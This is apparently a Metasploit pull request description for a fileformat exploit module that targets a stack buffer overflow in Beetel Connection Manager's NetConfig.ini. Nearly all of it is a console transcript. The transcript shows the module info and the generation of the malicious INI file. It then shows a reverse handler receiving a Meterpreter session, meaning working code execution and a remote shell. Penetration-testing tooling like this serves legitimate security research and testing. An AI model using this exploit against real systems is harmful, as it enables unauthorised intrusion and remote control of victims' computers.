rapid7/metasploit-framework — pull request #2589 by wvu-r7 (2013-10-29 03:58:10+00:00)
Title: Beetel Connection Manager NetConfig.ini BOF

```
msf > use exploit/windows/fileformat/beetel_netconfig_ini_bof
msf exploit(beetel_netconfig_ini_bof) > info

Name: Beetel Connection Manager NetConfig.ini Buffer Overflow
Module: exploit/windows/fileformat/beetel_netconfig_ini_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
metacom
wvu

Available targets:
Id Name
-- ----
0 PCW_BTLINDV1.0.0B04 (WinXP SP3)

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME NetConfig.ini yes INI file
SECTION Edit Me yes Section name

Payload information:
Space: 1504
Avoid: 7 characters

Description:
This module exploits a stack-based buffer overflow in the UserName
parameter in the NetConfig.ini file for Beetel Connection Manager.

References:
http://www.osvdb.org/98714
http://www.exploit-db.com/exploits/28969

msf exploit(beetel_netconfig_ini_bof) > exploit

[+] NetConfig.ini stored at /home/wvu/.msf4/local/NetConfig.ini
msf exploit(beetel_netconfig_ini_bof) > use exploit/multi/handler
msf exploit(handler) > exploit

[*] Started reverse handler on 10.6.0.198:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 10.6.0.198
[*] Meterpreter session 1 opened (10.6.0.198:4444 -> 10.6.0.198:32816) at 2013-10-28 22:56:48 -0500

meterpreter >
```